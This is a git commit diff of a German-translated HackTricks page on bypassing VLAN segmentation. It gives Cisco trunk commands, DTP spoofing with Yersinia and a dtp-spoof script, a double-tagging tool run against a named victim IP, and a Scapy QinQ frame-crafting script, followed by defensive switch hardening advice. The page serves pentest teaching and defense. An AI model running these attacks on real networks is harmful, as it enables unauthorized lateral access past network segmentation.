mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
d9952f2e78
commit
9c8a57fc16
@ -1,8 +1,8 @@
|
||||
# Lateral VLAN Segmentation Bypass
|
||||
# Lateral VLAN-Segmentierungsumgehung
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Wenn direkter Zugriff auf einen Switch verfügbar ist, kann die VLAN-Segmentierung umgangen werden. Dies beinhaltet die Neukonfiguration des verbundenen Ports in den Trunk-Modus, das Einrichten virtueller Schnittstellen für die Ziel-VLANs und das Festlegen von IP-Adressen, entweder dynamisch (DHCP) oder statisch, je nach Szenario (**für weitere Details siehe [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
|
||||
Wenn direkter Zugang zu einem Switch verfügbar ist, kann die VLAN-Segmentierung umgangen werden. Dies beinhaltet die Neukonfiguration des verbundenen Ports in den Trunk-Modus, das Einrichten virtueller Schnittstellen für die Ziel-VLANs und das Festlegen von IP-Adressen, entweder dynamisch (DHCP) oder statisch, je nach Szenario (**für weitere Details siehe [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
|
||||
|
||||
Zunächst ist die Identifizierung des spezifischen verbundenen Ports erforderlich. Dies kann typischerweise durch CDP-Nachrichten oder durch die Suche nach dem Port über die **include**-Maske erreicht werden.
|
||||
|
||||
@ -14,7 +14,7 @@ Vor dem Wechsel in den Trunk-Modus sollte eine Liste der vorhandenen VLANs erste
|
||||
```
|
||||
SW1# show vlan brief
|
||||
```
|
||||
**Der Übergang in den Trunk-Modus beinhaltet das Betreten des Schnittstellenkonfigurationsmodus**:
|
||||
**Der Übergang in den Trunk-Modus umfasst das Betreten des Schnittstellenkonfigurationsmodus**:
|
||||
```
|
||||
SW1(config)# interface GigabitEthernet 0/2
|
||||
SW1(config-if)# switchport trunk encapsulation dot1q
|
||||
@ -44,12 +44,80 @@ Beispiel für das manuelle Festlegen einer statischen IP-Adresse auf einer Schni
|
||||
```bash
|
||||
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
```
|
||||
Die Konnektivität wird getestet, indem ICMP-Anfragen an die Standardgateways für die VLANs 10, 20, 50 und 60 gesendet werden.
|
||||
Die Konnektivität wird getestet, indem ICMP-Anfragen an die Standard-Gateways für die VLANs 10, 20, 50 und 60 gesendet werden.
|
||||
|
||||
Letztendlich ermöglicht dieser Prozess das Umgehen der VLAN-Segmentierung, wodurch ungehinderter Zugriff auf jedes VLAN-Netzwerk ermöglicht wird und die Grundlage für nachfolgende Aktionen geschaffen wird.
|
||||
|
||||
## References
|
||||
---
|
||||
|
||||
## Andere VLAN-Hopping-Techniken (kein privilegierter Switch-CLI)
|
||||
|
||||
Die vorherige Methode setzt voraus, dass authentifizierter Zugriff auf die Konsole oder Telnet/SSH des Switches besteht. In realen Szenarien ist der Angreifer normalerweise mit einem **normalen Zugangsport** verbunden. Die folgenden Layer-2-Tricks ermöglichen es oft, seitlich zu pivotieren, ohne jemals in das Switch-Betriebssystem einzuloggen:
|
||||
|
||||
### 1. Switch-Spoofing mit Dynamic Trunking Protocol (DTP)
|
||||
|
||||
Cisco-Switches, die DTP aktiviert haben, verhandeln gerne einen Trunk, wenn der Peer behauptet, ein Switch zu sein. Das Erstellen eines einzigen **DTP “desirable”** oder **“trunk”** Frames verwandelt den Zugangsport in einen 802.1Q-Trunk, der *alle* erlaubten VLANs trägt.
|
||||
|
||||
*Yersinia* und mehrere PoCs automatisieren den Prozess:
|
||||
```bash
|
||||
# Become a trunk using Yersinia (GUI)
|
||||
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
|
||||
|
||||
# Python PoC (dtp-spoof)
|
||||
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||||
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||||
```
|
||||
Sobald der Port auf Trunk umgeschaltet wird, können Sie 802.1Q-Subschnittstellen erstellen und genau wie im vorherigen Abschnitt gezeigt pivotieren. Moderne Linux-Kernel benötigen kein *vconfig* mehr; verwenden Sie stattdessen *ip link*:
|
||||
```bash
|
||||
sudo modprobe 8021q
|
||||
sudo ip link add link eth0 name eth0.30 type vlan id 30
|
||||
sudo ip addr add 10.10.30.66/24 dev eth0.30
|
||||
sudo ip link set eth0.30 up
|
||||
```
|
||||
### 2. Double-Tagging (Native-VLAN-Missbrauch)
|
||||
|
||||
Wenn der Angreifer im **native (untagged) VLAN** sitzt, kann ein gestalteter Frame mit *zwei* 802.1Q-Headern zu einem zweiten VLAN "springen", selbst wenn der Port im Access-Modus gesperrt ist. Werkzeuge wie **VLANPWN DoubleTagging.py** (2022-2024 Aktualisierung) automatisieren die Injektion:
|
||||
```bash
|
||||
python3 DoubleTagging.py \
|
||||
--interface eth0 \
|
||||
--nativevlan 1 \
|
||||
--targetvlan 20 \
|
||||
--victim 10.10.20.24 \
|
||||
--attacker 10.10.1.54
|
||||
```
|
||||
Packet-Durchlauf:
|
||||
1. Das äußere Tag (1) wird vom ersten Switch entfernt, da es mit dem nativen VLAN übereinstimmt.
|
||||
2. Das innere Tag (20) ist jetzt sichtbar; der Frame wird über den Trunk in Richtung VLAN 20 weitergeleitet.
|
||||
|
||||
Die Technik funktioniert auch im Jahr 2025 in Netzwerken, die das native VLAN auf dem Standard belassen und ungetaggte Frames akzeptieren.
|
||||
|
||||
### 3. QinQ (802.1ad) Stapelung
|
||||
|
||||
Viele Unternehmenskerne unterstützen *Q-in-Q* Dienstanbieter-Kapselung. Wo erlaubt, kann ein Angreifer beliebigen 802.1Q-getaggten Verkehr innerhalb eines Anbieters (S-Tag) tunneln, um Sicherheitszonen zu überqueren. Erfassen Sie den 802.1ad Ethertyp 0x88a8 und versuchen Sie, das äußere Tag mit Scapy zu entfernen:
|
||||
```python
|
||||
from scapy.all import *
|
||||
outer = 100 # Service tag
|
||||
inner = 30 # Customer / target VLAN
|
||||
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
|
||||
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
|
||||
sendp(frame, iface="eth0")
|
||||
```
|
||||
---
|
||||
|
||||
## Defensive Empfehlungen
|
||||
|
||||
1. Deaktivieren Sie DTP an allen benutzerorientierten Ports: `switchport mode access` + `switchport nonegotiate`.
|
||||
2. Ändern Sie das native VLAN an jedem Trunk in ein **unbenutztes, Black-Hole VLAN** und taggen Sie es: `vlan dot1q tag native`.
|
||||
3. Prune unnötige VLANs an Trunks: `switchport trunk allowed vlan 10,20`.
|
||||
4. Erzwingen Sie Portsicherheit, DHCP-Snooping und dynamische ARP-Inspektion, um unerwünschte Layer-2-Aktivitäten zu begrenzen.
|
||||
5. Bevorzugen Sie private VLANs oder L3-Segmentierung, anstatt sich ausschließlich auf 802.1Q-Trennung zu verlassen.
|
||||
|
||||
---
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
- VLANPWN Angriffswerkzeug – <https://github.com/casterbytethrowback/VLANPWN>
|
||||
- Twingate "Was ist VLAN Hopping?" (Aug 2024) – <https://www.twingate.com/blog/glossary/vlan%20hopping>
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user